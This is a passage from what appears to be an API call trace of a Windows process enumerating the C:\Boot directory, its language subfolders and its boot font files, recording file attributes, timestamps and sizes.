	[0068.047] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.047] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.047] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0068.047] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0068.047] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.047] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0068.047] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.047] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f88
	[0068.048] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.048] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.048] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0068.048] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0068.048] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0068.048] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.048] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0068.048] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.048] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811f88
	[0068.048] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.048] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.048] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0068.049] FindNextFileW (in: hFindFile=0x811f88, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0068.049] FindClose (in: hFindFile=0x811f88 | out: hFindFile=0x811f88) returned 1
	[0068.049] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.115] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0068.115] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.115] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811cc8
	[0068.115] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.115] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.115] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0068.115] FindClose (in: hFindFile=0x811cc8 | out: hFindFile=0x811cc8) returned 1
	[0068.116] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.116] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0068.116] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.116] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811fc8
	[0068.116] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.116] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.116] FindNextFileW (in: hFindFile=0x811fc8, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0068.116] FindClose (in: hFindFile=0x811fc8 | out: hFindFile=0x811fc8) returned 1
	[0068.116] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.116] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0068.116] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.116] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0068.116] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.116] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0068.117] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0068.117] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0068.117] FindClose (in: hFindFile=0x811e48 | out: hFindFile=0x811e48) returned 1
	[0068.117] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0068.117] FindNextFileW (in: hFindFile=0x811c48, lpFindFileData=0x3a1fa7c | out: lpFindFileData=0x3a1fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0068.117] RtlAllocateHeap (HeapHandle=0x720000, Flags=0x0, Size=0xfffe) returned 0x3e91f60
	[0068.117] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x811e48
	[0068.118] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0068.118] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1
	[0068.118] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1
	[0068.118] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1
	[0068.118] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1
	[0068.118] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1
	[0068.119] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1
	[0068.119] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1
	[0068.119] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1
	[0068.119] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x3a1f800 | out: lpFindFileData=0x3a1f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1
